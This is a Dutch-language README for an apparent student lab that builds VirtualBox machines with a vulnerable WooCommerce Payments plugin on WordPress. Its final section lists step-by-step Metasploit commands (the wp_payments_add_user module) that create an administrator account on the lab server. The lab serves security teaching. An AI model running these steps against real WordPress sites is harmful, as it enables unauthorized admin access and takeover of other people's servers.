Readme voor WordPress exploit

Auteurs: Arthur Van Ginderachter, Jaak Daemen, Renz De Baets, Bert Coudenys

In deze readme gaan wij uitleggen hoe je de exploit van WordPress kan gebruiken om een Admin account te maken en toegang te krijgen met admin level access op een WordPress server.

Scripts en bestanden nodig voor het opzetten van de omgeving.

We hebben de omgeven opzetten geautomatiseerd aan de hand van scripts zowel PowerShell als bash. Binnen het .zip bestand zal u 4 bestanden vinden.

1. rootpromotie.sh
    - Dit bash script zal gecopieerd worden naar de kali linux machine en dan uitgevoerd worden door het vmcreator.ps1 script.
    - Dit bash script bevat commando's om ervoor te zorgen dat het root account geactiveerd wordt.
2. script1.sh
    - Dit bash script zal uitgevoerd worden door het vmcreator.ps1 script.
    - Dit bash script zal een databank en een WordPress server opzetten. Het zal ook de manuele installatie van WordPress overslaan en dit automatisch doen.
3. vmcreator.ps1
    - Dit PowerShell script is verantwoordelijk voor het opzetten van de 2 nodige VM's aan de hand van VBoxManage.
    - Dit PowerShell script zal ook beide bash scripts uitvoeren en dus de volledige installatie automatiseren.
4. woocommerce-payments.5.6.1.zip
    - Deze zip file bevat de verouderde en kwetsbare versie van een WooCommerce plugin.
    - BELANGERIJK! Pak deze zip NIET uit.

Download ook deze twee .vdi files van OSBoxes

1. Download de "23.04 Lunar Lobster" Ubuntu-Server
2. Download ook de "2024.1" Kali-Linux Deze .vdi files mogen op uw toestel staan waar u wilt, maar hou de locatie goed bij. Pak nu beide .vdi's uit.

Opzetten van de omgeving

Pak de .zip file die u gedownload heeft uit. Voer enkel het "vmcreator.ps1" uit. Alvoor u dit kan doen zal u het bestand moeten vertrouwen. Doe dit door, rechtermuisklik vervolgens "Eigenschappen" te openen en vanonder te klikken op "Blokkering opheffen". Dit is noodzakelijk, anders zal het script niet uitvoerbaar zijn! Het script zal u drie absolute paden vragen. Onder andere van de twee .vdi bestanden als ook van de "shared" map. Dit is de map die u zojuist hebt gedownload en uitgepakt.

Uitzonderingen/Errors

Zorg er zeker voor dat na het uitvoeren van het script de laatste lijn in de console dit zegt: "IP-Adres van de Ubuntu-server: arthurisgeenjaak.com". In het geval dit NIET zo is, betekent dit dat het hosts-bestand niet

correct is aangemaakt. Hier is een voorbeeld:

```
IP-Adres van de Ubuntu-server: 192.168.69.69
IP-Adres van de Ubuntu-server:
```

U kan dit oplossen door.

1. Deze handmatig aan te maken.
2. Het PowerShell script nogmaals uitvoeren. Deze zal enkel de bash scripts uitvoeren aangezien de VM's al bestaan. Nu zou dit te zien moeten zijn.

```
IP-Adres van de Ubuntu-server: 192.168.69.69
IP-Adres van de Ubuntu-server: arthurisgeenjaak.com
```

Misbruiken van exploit a.d.h.v. Metasploit

Na het opzetten van de werkomgeving kan u de exploit gebruiken om een admin level user toe te voegen. Dit hebben wij gedaan via Metasploit. Open Metasploit en u zult een terminal te zien krijgen. In deze terminal kan u het volgende commando uitvoeren om de exploit te zoeken:

```
search woocommerce
```

We zijn op zoek naar de exploit genaamd "auxiliary/scanner/http/wp_payments_add_user 2023-03-22" Gebruik voor het selecteren van de juiste exploit het commando:

```
use #{numer van exploit. normaal 1}
```

Nu gaan we een aantal "set" commando's uitvoeren om Metasploit de correcte informatie te geven voor deze exploit. Om meer informatie te vinden over deze commando's en waarom ze nodig zijn kan je volgende commando's gebruiken:

```
show options
```

```
set RHOSTS arthurisgeenjaak.com
set username #{Username van het nieuw admin account die u wilt maken}
set password #{Password van het nieuw admin account die u wilt maken}
```

Ok, nu bent u klaar om de exploit effectief uit te voeren. Gebruik hiervoor het commando:

```
exploit
```

Na het uitvoeren hiervan, zal er een nieuw account aangemaakt zijn op de WordPress server dat kan gebruikt worden om misbruik te maken van deze server.